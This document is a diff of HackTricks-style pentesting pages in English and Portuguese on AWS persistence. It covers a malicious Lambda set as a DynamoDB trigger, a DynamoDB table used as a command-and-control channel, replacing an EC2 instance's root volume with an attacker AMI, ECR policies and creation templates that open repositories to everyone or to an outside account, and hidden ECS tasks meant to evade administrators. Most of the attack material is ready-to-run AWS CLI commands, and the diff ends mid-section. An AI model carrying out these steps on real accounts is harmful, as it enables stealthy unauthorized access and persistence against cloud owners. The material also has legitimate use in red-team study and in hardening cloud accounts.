||||
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,59 +0,0 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Para mais informações acesse:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Usando gatilhos do DynamoDB, um atacante pode criar um **furtivo backdoor** ao associar uma função Lambda maliciosa a uma tabela. A função Lambda pode ser acionada quando um item é adicionado, modificado ou excluído, permitindo que o atacante execute código arbitrário dentro da conta AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Para manter persistência, o atacante pode criar ou modificar itens na tabela DynamoDB, o que acionará a função Lambda maliciosa. Isso permite que o atacante execute código na conta AWS sem interação direta com a função Lambda.
|
||||
|
||||
### DynamoDB como um C2 Channel
|
||||
|
||||
Um atacante pode usar uma tabela DynamoDB como um **command and control (C2) channel** criando itens contendo comandos e usando instâncias comprometidas ou funções Lambda para buscar e executar esses comandos.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
As instâncias comprometidas ou funções Lambda podem verificar periodicamente a tabela C2 em busca de novos comandos, executá-los e, opcionalmente, relatar os resultados de volta para a tabela. Isso permite que o atacante mantenha persistência e controle sobre os recursos comprometidos.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,58 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,62 +0,0 @@
|
||||
# AWS - EC2 Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Se um defensor descobrir que uma **instância EC2 foi comprometida** ele provavelmente tentará **isolar** a **rede** da máquina. Ele pode fazer isso com um **Deny NACL** explícito (mas NACLs afetam toda a subnet), ou **alterando o security group** para não permitir **any kind of inbound or outbound** traffic.
|
||||
|
||||
Se o atacante tiver um **reverse shell originated from the machine**, mesmo que o SG seja modificado para não permitir inbound ou outbound traffic, a **conexão não será encerrada devido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Este serviço permite **agendar** a **criação de AMIs e snapshots** e até **compartilhá-los com outras contas**.\
|
||||
Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
É possível agendar instâncias para rodar diariamente, semanalmente ou até mensalmente. Um atacante poderia executar uma máquina com altos privilégios ou acesso interessante ao qual ele poderia se conectar.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances são **mais baratas** que instâncias regulares. Um atacante poderia lançar um **small spot fleet request for 5 year** (por exemplo), com **automatic IP** assignment e um **user data** que envia para o atacante **quando a spot instance start** o **endereço IP** e com um **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Um atacante poderia obter acesso às instâncias e instalar backdoors nelas:
|
||||
|
||||
- Usando um **rootkit** tradicional, por exemplo
|
||||
- Adicionando uma nova **public SSH key** (ver [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring o **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor o AMI usado
|
||||
- Backdoor o User Data
|
||||
- Backdoor o Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Troque o volume root EBS de uma instância em execução por um construído a partir de um AMI ou snapshot controlado pelo atacante usando `CreateReplaceRootVolumeTask`. A instância mantém suas ENIs, IPs, e role, inicializando efetivamente em código malicioso enquanto aparenta não ter sido alterada.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Criar uma VPN para que o atacante possa conectar-se diretamente à VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Criar uma peering connection entre a VPC vítima e a VPC do atacante para que ele possa acessar a VPC vítima.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse **ec2:CreateReplaceRootVolumeTask** para trocar o volume root EBS de uma instância em execução por um restaurado a partir de um AMI ou snapshot controlado pelo atacante. A instância é reiniciada automaticamente e retoma com o sistema de arquivos root controlado pelo atacante enquanto preserva ENIs, IPs privados/públicos, volumes anexados não-root, e os metadata da instância/IAM role.
|
||||
|
||||
## Requisitos
|
||||
- A instância alvo é EBS-backed e está em execução na mesma região.
|
||||
- AMI ou snapshot compatível: mesma arquitetura/virtualização/modo de boot (e product codes, se houver) que a instância alvo.
|
||||
|
||||
## Pré-verificações
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Substituir root a partir de AMI (preferido)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternativa usando um snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Evidência / Verificação
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Esperado: ENI_ID e PRI_IP permanecem os mesmos; o ID do volume raiz muda de $ORIG_VOL para $NEW_VOL. O sistema inicializa com o sistema de arquivos do AMI/snapshot controlado pelo atacante.
|
||||
|
||||
## Notas
|
||||
- A API não exige que você pare manualmente a instância; EC2 orquestra a reinicialização.
|
||||
- Por padrão, o volume raiz EBS substituído (antigo) é desanexado e permanece na conta (DeleteReplacedRootVolume=false). Isso pode ser usado para reversão ou deve ser excluído para evitar custos.
|
||||
|
||||
## Reversão / Limpeza
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,101 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,145 +0,0 @@
|
||||
# AWS - ECR Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Imagem Docker Oculta com Código Malicioso
|
||||
|
||||
Um atacante pode **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter persistência na conta AWS alvo. Em seguida, o atacante pode implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de forma furtiva.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Adicione uma policy a um único repositório concedendo a você (ou a todos) acesso a um repositório:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Note que o ECR exige que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma IAM policy **antes de poderem autenticar-se** em um registry e push or pull quaisquer imagens de qualquer repositório do Amazon ECR.
|
||||
|
||||
### Registry Policy & Replicação entre Contas
|
||||
|
||||
É possível replicar automaticamente um registry em uma conta externa configurando cross-account replication, onde você precisa **indicar a conta externa** para a qual deseja replicar o registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Primeiro, você precisa dar à conta externa acesso ao registry com uma **registry policy** como:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Em seguida, aplique a configuração de replicação:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (prefix backdoor for future repos)
|
||||
|
||||
Abuse ECR Repository Creation Templates para automaticamente backdoor qualquer repositório que o ECR crie automaticamente sob um prefixo controlado (por exemplo via Pull-Through Cache ou Create-on-Push). Isso concede acesso não autorizado persistente a repositórios futuros sem tocar nos existentes.
|
||||
|
||||
- Permissões necessárias: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (usado pelo template), iam:PassRole (se uma role personalizada estiver anexada ao template).
|
||||
- Impacto: Qualquer novo repositório criado sob o prefixo alvo herda automaticamente uma política de repositório controlada pelo atacante (por exemplo, leitura/escrita cross-account), mutabilidade de tags e padrões de varredura.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor repositórios futuros criados via PTC sob um prefixo escolhido</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,103 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,151 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tarefa Periódica Oculta do ECS
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode criar uma tarefa periódica oculta do ECS usando Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconnaissance, exfiltrate data, ou manter persistence na conta AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode adicionar um **stealthy backdoor container** em uma ECS task definition existente que é executada ao lado de containers legítimos. O backdoor container pode ser usado para persistência e para realizar atividades maliciosas.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Serviço ECS não documentado
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode criar um **serviço ECS não documentado** que executa uma tarefa maliciosa. Ao definir o número desejado de tarefas no mínimo e desabilitar os logs, fica mais difícil para os administradores detectarem o serviço malicioso.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Abuse ecs:UpdateTaskProtection para impedir que as service tasks sejam interrompidas por eventos de scale‑in e rolling deployments. Ao estender continuamente a proteção, um atacante pode manter uma task de longa duração em execução (para C2 ou coleta de dados), mesmo que os defensores reduzam o desiredCount ou publiquem novas revisões da task.
|
||||
|
||||
